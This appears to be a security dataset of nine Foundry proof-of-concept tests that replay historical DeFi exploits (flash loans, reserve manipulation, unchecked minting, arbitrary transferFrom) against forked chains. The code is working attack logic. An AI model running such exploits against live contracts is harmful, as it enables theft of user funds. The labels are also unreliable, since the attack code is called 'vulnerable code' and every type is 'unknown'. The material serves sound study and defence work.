Farseen0/scar-pairs huggingface dataset:
HIGH severity: MEVbot_0x28d9 exploit (unknown). SPDX-License-Identifier: UNLICENSED @KeyInfo - Total Lost : ~1300 $USDC Attacker : https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc Attack Contract : https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca Vulnerable Contract : https://etherscan.io/address/0x28

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

// @KeyInfo - Total Lost : ~1300 $USDC
// Attacker : https://etherscan.io/address/0xb61e7f192a9ad5d11e2452f53d0ddf91b58239dc
// Attack Contract : https://etherscan.io/address/0x0757d02596ef9840048def00eeb8e0f3862cc7ca
// Vulnerable Contract : https://etherscan.io/address/0x28d949fdfb5d9ea6b604fa6fee3d6548ea779f17
// Attack Tx : https://etherscan.io/tx/0x313d23bdd9277717e3088f32c976479c09d4b8a94d5d94deb835d157fd0850ce

import "forge-std/Test.sol";
import "./../interface.sol";

interface IDPPAdvanced {
    function flashLoan(uint256 baseAmount, uint256 quoteAmount, address assetTo, bytes calldata data) external;
}

contract ContractTest is Test {
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    IERC20 USDT = IERC20(0xdAC17F958D2ee523a2206206994597C13D831ec7);
    IDPPAdvanced DODO = IDPPAdvanced(0x3058EF90929cb8180174D74C507176ccA6835D73);
    address MevBot_addr = 0x28d949Fdfb5d9ea6B604fA6FEe3D6548ea779F17;

    function setUp() public {
        vm.createSelectFork("mainnet", 16_157_843 - 1);
        vm.label(address(USDC), "USDC");
        vm.label(address(USDT), "USDT");
        vm.label(address(DODO), "DODO");
        vm.label(address(MevBot_addr), "MevBot_addr");
    }

    function testExploit() public {
        emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);
        bytes memory data = abi.encode(address(this), 16_777_120 * 110 / 100, 0, 0);
        while (USDT.balanceOf(MevBot_addr) > 20 * 1e6) {
            DODO.flashLoan(0, 16_777_120, MevBot_addr, data);
        }
        DODO.flashLoan(0, USDT.balanceOf(MevBot_addr), MevBot_addr, data);
        emit log_named_decimal_uint("Attacker USDC balance before attack", USDC.balanceOf(address(this)), 6);
    }

    fallback() external payable {}
    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: NovaExchange exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BeosinAlert/status/1601168659585454081 @TX https://bscscan.com/tx/0xf743dba906255cf6f75f8243ef8192f2a211aacf03df99322584686b5c445c23 forge test --contracts ./src/test/NovaExchange_exp.sol -vv

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BeosinAlert/status/1601168659585454081
// @TX
// https://bscscan.com/tx/0xf743dba906255cf6f75f8243ef8192f2a211aacf03df99322584686b5c445c23
// forge test --contracts ./src/test/NovaExchange_exp.sol -vv

interface INovaExchange {
    function rewardHolders(
        uint256 amount
    ) external;

    function balanceOf(
        address account
    ) external view returns (uint256);

    function approve(address spender, uint256 value) external returns (bool);
}

contract ContractTest is Test {
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
    INovaExchange novaContract = INovaExchange(0xB5B27564D05Db32CF4F25813D35b6E6de9210941);
    address attacker = 0xCBF184b8156e1271449CFb42A7D0556A8DCFEf72;
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);

    IPancakeRouter wbnb_nova = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E)); // wbnb/nova Pair

    function setUp() public {
        cheats.createSelectFork("bsc", 23_749_678); //fork bsc at block number 23749678

        //novaContract.approve(address(wbnb_nova), type(uint256).max);
        //WBNB.approve(address(wbnb_nova), type(uint256).max);
    }

    function testExploit() public {
        emit log_named_uint("Before exploit, NOVA balance of attacker:", novaContract.balanceOf(attacker));

        cheats.prank(attacker);

        novaContract.rewardHolders(10_000_000_000_000_000_000_000_000_000);

        emit log_named_uint("After exploit,  NOVA balance of attacker:", novaContract.balanceOf(attacker));

        // address[] memory path2 = new address[](2);
        // path2[0] = address(novaContract);
        // path2[1] = address(WBNB);

        //I see [FAIL. Reason: Pancake: INSUFFICIENT_INPUT_AMOUNT] testExploit() (gas: 124976)
        //I am pretty sure the error has to do with the number of decimals of the NOVA token
        //Not sure how to fix it
        // wbnb_nova.swapExactTokensForETH(
        //     10000000000020000000000000000,
        //     361966603954705498098,
        //     path2,
        //     attacker,
        //     1670570010
        // );
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: RFB exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1599991294947778560 @TX https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1599991294947778560
// @TX
// https://bscscan.com/tx/0xcc8fdb3c6af8bb9dfd87e913b743a13bbf138a143c27e0f387037887d28e3c7a

contract ContractTest is Test {
    IERC20 RFB = IERC20(0x26f1457f067bF26881F311833391b52cA871a4b5);
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x03184AAA6Ad4F7BE876423D9967d1467220a544e);
    address dodo = 0x0fe261aeE0d1C4DFdDee4102E82Dd425999065F4;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_649_423);
    }

    function testExploit() public payable {
        RFB.approve(address(Router), type(uint256).max);
        WBNB.approve(address(Router), type(uint256).max);
        payable(address(uint160(0))).transfer(address(this).balance);
        DVM(dodo).flashLoan(20 * 1e18, 0, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function DPPFlashLoanCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        WBNB.withdraw(20 * 1e18);
        for (uint256 i = 0; i < 50; i++) {
            try this.check(20 * 1e18 - i) {}
            catch {
                continue;
            }
        }
        WBNB.deposit{value: address(this).balance}();
        WBNB.transfer(dodo, 20 * 1e18);
    }

    function check(
        uint256 amount
    ) public payable {
        uint256 BNBBalance = address(this).balance;
        BNBToRFB(amount);
        RFBToBNB();
        require(address(this).balance - BNBBalance > 0);
    }

    function BNBToRFB(
        uint256 amount
    ) public payable {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(RFB);
        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: amount}(
            0, path, address(this), block.timestamp
        );
    }

    function RFBToBNB() public payable {
        address[] memory path = new address[](2);
        path[0] = address(RFB);
        path[1] = address(WBNB);
        Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            RFB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: TIFI exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/peckshield/status/1601492605535399936 @TX https://bscscan.com/tx/0x1c5272ce35338c57c6b9ea710a09766a17bbf14b61438940c3072ed49bfec402

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1601492605535399936
// @TX
// https://bscscan.com/tx/0x1c5272ce35338c57c6b9ea710a09766a17bbf14b61438940c3072ed49bfec402

interface TIFIFinance {
    function deposit(address token, uint256 amount) external;
    function borrow(address qToken, uint256 amount) external;
}

contract ContractTest is Test {
    TIFIFinance TIFI = TIFIFinance(0x8A6F7834A9d60090668F5db33FEC353a7Fb4704B);
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    Uni_Router_V2 TIFIRouter = Uni_Router_V2(0xC8595392B8ca616A226dcE8F69D9E0c7D4C81FE4);
    Uni_Pair_V2 Pair = Uni_Pair_V2(0x58F876857a02D6762E0101bb5C46A8c1ED44Dc16);
    IERC20 TIFIToken = IERC20(0x17E65E6b9B166Fb8e7c59432F0db126711246BC0);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    IERC20 BUSD = IERC20(0xe9e7CEA3DedcA5984780Bafc599bD69ADd087D56);

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 23_778_726);
    }

    function testExploit() public {
        WBNB.approve(address(TIFIRouter), type(uint256).max);
        BUSD.approve(address(TIFI), type(uint256).max);
        TIFIToken.approve(address(Router), type(uint256).max);
        Pair.swap(5 * 1e18, 500 * 1e18, address(this), new bytes(1));

        emit log_named_decimal_uint("[End] Attacker WBNB balance after exploit", WBNB.balanceOf(address(this)), 18);
    }

    function pancakeCall(address sender, uint256 baseAmount, uint256 quoteAmount, bytes calldata data) external {
        TIFI.deposit(address(BUSD), BUSD.balanceOf(address(this)));
        WBNBToBUSD(); // change the reserve of WBNB - BUSD
        TIFI.borrow(address(TIFIToken), TIFIToken.balanceOf(address(TIFI))); //call getReserves of WBNB - BUSD LP and borrow TIFI TOKEN
        TIFIToWBNB();
        WBNB.transfer(address(Pair), 7 * 1e18);
    }

    function WBNBToBUSD() internal {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(BUSD);
        TIFIRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            WBNB.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }

    function TIFIToWBNB() internal {
        address[] memory path = new address[](2);
        path[0] = address(TIFIToken);
        path[1] = address(WBNB);
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
            TIFIToken.balanceOf(address(this)), 0, path, address(this), block.timestamp
        );
    }
}


Vulnerability type: unknown
HIGH severity: OmniEstate exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1615232012834705408 @TX invest https://bscscan.com/tx/0x49bed801b9a9432728b1939951acaa8f2e874453d39c7d881a62c2c157aa7613 withdraw https://bscscan.com/tx/0xa916674fb8203fac6d78f5f9afc604be468a514aa61ea36c6d6ef26ecfb

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1615232012834705408
// @TX
// invest
// https://bscscan.com/tx/0x49bed801b9a9432728b1939951acaa8f2e874453d39c7d881a62c2c157aa7613
// withdraw
// https://bscscan.com/tx/0xa916674fb8203fac6d78f5f9afc604be468a514aa61ea36c6d6ef26ecfbd0e97

interface OmniStakingPool {
    function invest(uint256 end_date, uint256 qty_ort) external;
    function withdrawAndClaim(
        uint256 lockId
    ) external;
    function getUserStaking(
        address user
    ) external returns (uint256[] memory);
}

contract ContractTest is Test {
    address Omni = 0x6f40A3d0c89cFfdC8A1af212A019C220A295E9bB;
    address ORT = 0x1d64327C74d6519afeF54E58730aD6fc797f05Ba;
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IWBNB WBNB = IWBNB(payable(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c));

    function setUp() public {
        vm.createSelectFork("bsc", 24_850_696);
    }

    function testExploit() public {
        // 1. get some ort token
        IWBNB(WBNB).deposit{value: 1e18}();
        emit log_named_decimal_uint("[Before Attacks] Attacker WBNB balance", WBNB.balanceOf(address(this)), 18);
        bscSwap(address(WBNB), ORT, 1e18);
        // 2. invest
        IERC20(ORT).approve(Omni, type(uint256).max);
        OmniStakingPool(Omni).invest(0, 1);
        uint256[] memory stake_ = OmniStakingPool(Omni).getUserStaking(address(this));
        // 3. withdraw
        OmniStakingPool(Omni).withdrawAndClaim(stake_[0]);

        // 4. profit
        bscSwap(ORT, address(WBNB), IERC20(ORT).balanceOf(address(this)));
        emit log_named_decimal_uint("[After Attacks]  Attacker WBNB balance", WBNB.balanceOf(address(this)), 18);
    }

    function bscSwap(address tokenFrom, address tokenTo, uint256 amount) internal {
        IERC20(tokenFrom).approve(address(Router), type(uint256).max);
        address[] memory path = new address[](2);
        path[0] = tokenFrom;
        path[1] = tokenTo;
        Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(amount, 0, path, address(this), block.timestamp);
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: UFDao exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/BlockSecTeam/status/1613507804412940289 @TX https://bscscan.com/tx/0x933d19d7d822e84e34ca47ac733226367fbee0d9c0c89d88d431c4f99629d77a

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/BlockSecTeam/status/1613507804412940289
// @TX
// https://bscscan.com/tx/0x933d19d7d822e84e34ca47ac733226367fbee0d9c0c89d88d431c4f99629d77a

interface SHOP {
    function buyPublicOffer(address _dao, uint256 _lpAmount) external;
}

interface IUFT is IERC20 {
    function burn(
        uint256 _amount,
        address[] memory _tokens,
        address[] memory _adapters,
        address[] memory _pools
    ) external;
}

contract ContractTest is Test {
    Uni_Router_V2 Router = Uni_Router_V2(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    SHOP shop = SHOP(0xCA49EcF7e7bb9bBc9D1d295384663F6BA5c0e366);
    IUFT UFT = IUFT(0xf887A2DaC0DD432997C970BCE597A94EaD4A8c25);
    IERC20 USDC = IERC20(0x8AC76a51cc950d9822D68b83fE1Ad97B32Cd580d);
    IERC20 WBNB = IERC20(0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c);
    address UF = 0x2101e0F648A2b5517FD2C5D9618582E9De7a651A;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("bsc", 24_705_058);
        cheats.label(address(shop), "SHOP");
        cheats.label(address(USDC), "USDC");
        cheats.label(address(UFT), "UFT");
        cheats.label(address(WBNB), "WBNB");
    }

    function testExploit() external {
        address[] memory path = new address[](2);
        path[0] = address(WBNB);
        path[1] = address(USDC);
        Router.swapExactETHForTokensSupportingFeeOnTransferTokens{value: 4 * 1e17}(
            1, path, address(this), block.timestamp
        );
        USDC.approve(address(shop), type(uint256).max);
        uint256 amount = USDC.balanceOf(address(this));
        shop.buyPublicOffer(UF, amount);
        address[] memory tokens = new address[](1);
        tokens[0] = address(USDC);
        address[] memory adapters = new address[](0);
        address[] memory pools = new address[](0);
        UFT.burn(amount, tokens, adapters, pools);
        amount = 1000 * 1e18;
        shop.buyPublicOffer(UF, amount);
        UFT.burn(amount, tokens, adapters, pools);

        emit log_named_decimal_uint(
            "Attacker USDC balance after exploit", USDC.balanceOf(address(this)), USDC.decimals()
        );
    }

    receive() external payable {}
}


Vulnerability type: unknown
HIGH severity: Upswing exploit (unknown). SPDX-License-Identifier: UNLICENSED Total Lost: ~22 ETH Attacker: 0xceed34f03a3e607cc04c2d0441c7386b190d7cf4 Attack Contract: 0x762d2a9f065304d42289f3f13cc8ea23226d3b8c Vulnerable Contract: 0x35a254223960c18B69C0526c46B013D022E93902 Attack Tx: https://etherscan.io/tx/0x4b3df6e9c68ae482c71a02832f7f59

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/console2.sol";
import "forge-std/Test.sol";
import "./../interface.sol";

// Total Lost: ~22 ETH
// Attacker: 0xceed34f03a3e607cc04c2d0441c7386b190d7cf4
// Attack Contract: 0x762d2a9f065304d42289f3f13cc8ea23226d3b8c
// Vulnerable Contract: 0x35a254223960c18B69C0526c46B013D022E93902
// Attack Tx: https://etherscan.io/tx/0x4b3df6e9c68ae482c71a02832f7f599ff58ff877ec05fed0abd95b31d2d7d912
//
// block 16433821

// @Analysis
// https://twitter.com/QuillAudits/status/1615634917802807297

interface ITokenUPS is IERC20 {
    function myPressure(
        address _address
    ) external view returns (uint256);
}

contract UpswingExploit is Test {
    Uni_Router_V2 uniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Pair lp = IUniswapV2Pair(0x0e823a8569CF12C1e7C216d3B8aef64A7fC5FB34);
    address upsToken = 0x35a254223960c18B69C0526c46B013D022E93902;
    address weth = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2;

    function setUp() public {
        vm.createSelectFork("mainnet", 16_433_820); // Fork mainnet at block 16433820
        vm.label(address(uniRouter), "uniRouterV2");
        vm.label(upsToken, "upsToken");
        vm.label(weth, "weth");
    }

    function testExploit() public {
        // sample attack with 1 ether
        deal(weth, address(this), 1 ether);
        address[] memory path = new address[](2);
        path[0] = weth;
        path[1] = upsToken;

        IERC20(weth).approve(address(uniRouter), type(uint256).max);

        uniRouter.swapExactTokensForTokens(1 ether, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])

        console.log("prev preassure", ITokenUPS(upsToken).myPressure(address(this)));

        uint256 balance = IERC20(upsToken).balanceOf(address(this));
        for (uint256 i; i < 8; ++i) {
            IERC20(upsToken).transfer(address(lp), balance);
            lp.skim(address(this));
        }

        console.log("after fake swaps preassure", ITokenUPS(upsToken).myPressure(address(this)));

        IERC20(upsToken).transfer(address(this), 0);

        path[0] = upsToken;
        path[1] = weth;

        balance = IERC20(upsToken).balanceOf(address(this));
        IERC20(upsToken).approve(address(uniRouter), type(uint256).max);
        uniRouter.swapExactTokensForTokens(balance, 0, path, address(this), block.timestamp); // => (amounts=[1000000000000000000, 199388836791259039979218])

        console.log("profit!", IERC20(weth).balanceOf(address(this)) - 1 ether);
        emit log_named_decimal_uint(
            "After exploiting, Attacker WETH Balance", IERC20(weth).balanceOf(address(this)) - 1 ether, 18
        );
    }
}


Vulnerability type: unknown
HIGH severity: CowSwap exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/MevRefund/status/1622793836291407873 https://twitter.com/peckshield/status/1622801412727148544 @TX https://etherscan.io/tx/0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/MevRefund/status/1622793836291407873
// https://twitter.com/peckshield/status/1622801412727148544
// @TX
// https://etherscan.io/tx/0x90b468608fbcc7faef46502b198471311baca3baab49242a4a85b73d4924379b
interface SwapGuard {
    struct Data {
        address target;
        uint256 value;
        bytes callData;
    }

    function envelope(
        Data[] calldata interactions,
        address vault,
        IERC20[] calldata tokens,
        uint256[] calldata tokenPrices,
        int256[] calldata balanceChanges,
        uint256 allowedLoss
    ) external;
}

contract ContractTest is Test {
    IERC20 DAI = IERC20(0x6B175474E89094C44Da98b954EedeAC495271d0F);
    SwapGuard swapGuard = SwapGuard(0xcD07a7695E3372aCD2B2077557DE93e667B92bd8);
    address GPv2Settlement = 0x9008D19f58AAbD9eD0D60971565AA8510560ab41;
    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_574_048);
        vm.label(address(DAI), "DAI");
        vm.label(address(swapGuard), "SwapGuard");
        vm.label(address(GPv2Settlement), "GPv2Settlement");
    }

    function testExploit() external {
        uint256 amount = DAI.balanceOf(GPv2Settlement);
        if (DAI.allowance(GPv2Settlement, address(swapGuard)) < amount) {
            amount = DAI.allowance(GPv2Settlement, address(swapGuard));
        }
        bytes memory callDatas =
            abi.encodeWithSignature("transferFrom(address,address,uint256)", GPv2Settlement, address(this), amount);
        SwapGuard.Data[] memory interactions = new SwapGuard.Data[](1);
        interactions[0] = SwapGuard.Data({target: address(DAI), value: 0, callData: callDatas});
        address vault = address(this);
        IERC20[] memory tokens = new IERC20[](1);
        tokens[0] = DAI;
        uint256[] memory tokenPrices = new uint256[](1);
        tokenPrices[0] = 0;
        int256[] memory balanceChanges = new int256[](1);
        balanceChanges[0] = 0;
        uint256 allowedLoss = type(uint256).max;
        swapGuard.envelope(interactions, vault, tokens, tokenPrices, balanceChanges, allowedLoss);

        emit log_named_decimal_uint("Attacker DAI balance after exploit", DAI.balanceOf(address(this)), DAI.decimals());
    }
}


Vulnerability type: unknown
HIGH severity: EFVault exploit (unknown). SPDX-License-Identifier: UNLICENSED @Analysis https://twitter.com/peckshield/status/1630490333716029440 https://twitter.com/drdr_zz/status/1630500170373685248 https://twitter.com/gbaleeeee/status/1630587522698080257 @TX https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f79

Vulnerable code:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;

import "forge-std/Test.sol";
import "./../interface.sol";

// @Analysis
// https://twitter.com/peckshield/status/1630490333716029440
// https://twitter.com/drdr_zz/status/1630500170373685248
// https://twitter.com/gbaleeeee/status/1630587522698080257
// @TX
// https://etherscan.io/tx/0x1fe5a53405d00ce2f3e15b214c7486c69cbc5bf165cf9596e86f797f62e81914

interface IENF is IERC20 {
    function redeem(uint256 shares, address receiver) external;
}

contract ContractTest is Test {
    IENF ENF = IENF(0xBDB515028A6fA6CD1634B5A9651184494aBfD336);
    IERC20 USDC = IERC20(0xA0b86991c6218b36c1d19D4a2e9Eb0cE3606eB48);
    address exploiter = 0x8B5A8333eC272c9Bca1E43F4d009E9B2FAd5EFc9;

    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);

    function setUp() public {
        cheats.createSelectFork("mainnet", 16_696_239);
    }

    function testExploit() external {
        deal(address(ENF), address(this), 1e18);
        cheats.startPrank(address(this), address(this));
        ENF.redeem(676_562, exploiter);
        cheats.stopPrank();

        emit log_named_decimal_uint("Exploiter USDC balance after exploit", USDC.balanceOf(exploiter), USDC.decimals());
    }
}


Vulnerability type: unknown